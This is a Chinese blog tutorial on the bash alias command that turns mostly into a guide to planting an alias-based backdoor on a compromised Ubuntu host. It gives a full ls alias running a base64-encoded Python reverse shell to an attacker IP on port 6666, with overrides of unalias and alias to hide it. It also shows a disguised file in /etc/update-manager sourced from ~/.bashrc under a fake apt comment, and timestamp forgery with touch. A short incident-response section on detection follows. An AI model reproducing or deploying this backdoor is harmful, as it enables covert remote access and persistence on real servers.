一、 alias 简介
alias 命令的功能: 为命令设置别名。
比如: 每次输入 ls 命令的时候都能实现 ls -al
注意: 对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了。
二、 alias 使用方法
2.1 系统默认的别名
系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行查看
这里有我们熟悉的 ll
命令,这个命令的真实含义其实是 ls -alF
可以看到我们可以直接执行 ll
来短缩命令的长度
2.2 别名的设置与查看
查看别名
如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,以 ll
命令为例
设置别名
例: 设置一个别名 alias getpwd = ‘cat /etc/passwd’
alias getpwd='cat /etc/passwd'
删除别名
unalias 别名
2.3 默认的别名是怎么出现的?
在 ~/.bashrc
配置文件中
同时,普通账户也存在 .bashrc 文件
注意:
系统启动默认加载的配置文件,比如:/etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout
【系统级】 Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile
【系统级】 在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell
【用户级】 当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响
~/.bash_profile && ~./bash_login
【用户级】
如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile
如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile
而不是~/.bash_login
【用户级】 当每次退出系统(退出bash shell)时执行该文件
三、 alias 后门
前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.241.142 (Ubuntu)
攻击IP: 192.168.241.128 (kali)
3.1 alias 的特点
1、alias 在设置 ls=“xxxx” 中,设置别名和设置变量很相似,都是可以进行传递的
alias ls='ls --color=auto' //设置别名
alias lstest="ls" //给别名再设置别名
alias ls='ls --color=auto;pwd'//设置别名时加入参数
2、alias 不支持参数传递,只有函数才支持参数传递
alias ls='func(){ ls $1 --color=auto;pwd;};func'
3.1 alias 后门
根据 alias 特点制作后门
后门命令:
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
执行完命令之后,输入 ls 命令查询,就会触发后门,但是ls查询的结果跟正常的 ls 命令一摸一样,检查不出来异常
但是此时后门已经触发,反弹 shell 到 kali 了
此时可以查看一下 ubutu的 连接,确实与192.168.241.128的6666端口建立连接,alias 后门执行成功
base64解密后的内容:
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()
3.2 alias 后门隐藏
目标: 隐藏起来,并且能够让所有登录的人直接就中招
那么,肯定是离不开开机自启的程序或者配置文件了,但是常见的几个文件,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
,因为大家都知道了,不太隐蔽
所以选择 ~/.bash_aliases 文件,默认不会有,但是在 ~/.bashrc 中默认加载
第一步: 查看目录 /etc/update-manager/ 如图所示,默认就含有下图这几个文件,那么我们可以增加一个有迷惑性的目录和文件名,之后设置加载
第二步: 增加一个文件 release-update 内容如下图所示:
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
增加完 release-update 文件之后,查看该目录如下图所示,新增加的文件就像系统本身文件,很有迷惑性。
第三步: 将 release-update 文件插进 ~/.bashrc 自启动程序中
~/.bashrc 文件默认内容
在 ~/.bashrc 文件最后面添加内容:
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f /etc/update-manager/release-update ]; then
. /etc/update-manager/release-update
fi
添加完之后,保存 ~/.bashrc 文件
但是新建的 release-update 文件,用 stat 一看就看出来了,所以要修改后门文件的时间与同目录名称相似的文件的 时间相同
stat /etc/update-manager/release-update
sudo touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update
第四步: 触发后门,验证后门
在 kali 上 ssh 远程登录 ubuntu 靶机
成功登录后,执行 命令 ls
就会触发后门
nc监听 6666 端口,成功接收反弹回来的 shell
四、alias 后门——应急响应发现
第一步:查看所有连接
发现与 192.168.241.128:6666 的异常连接,应该是反弹的shell连接
第二步:通过PID查看异常连接的进程,以及该进程正在执行的命令行命令
查看 PID 为7737的 PPID,发现是1
第三步:查看别名
发现了异常别名
使用命令unalias alert
可以删除别名,但是下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门写进了 系统的启动程序和配置文件中,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
才会导致,每次登录服务器就会重新触发 alias 后门
第四步:
那么检查这些启动程序和配置文件是否被篡改
stat ~/.bash_profile
stat /etc/profile
.......
通过检查文件被修改的时间可以看出,只有 ~/.bashrc 文件的修改日期是最近的日期,其它的日期时间都很久第五步:
把 ~/.bashrc 文件下载下来与一个正常的 ~/.bashrc 文件进行对比,对比之后确实发现异常,被修改的部分如下所示
根据在被篡改过的 ~/.bashrc 文件 发现的新增加的内容线索
```bash
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f /etc/update-manager/release-update ]; then
. /etc/update-manager/release-update
fi
查找 /etc/update-manager/release-update 文件,看看是啥?
cat /etc/update-manager/release-update
看下图所示,base64解密之后,正是 alias 后门文件
参考链接:https://cloud.tencent.com/developer/article/1683267更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
关注微信公众号:W小哥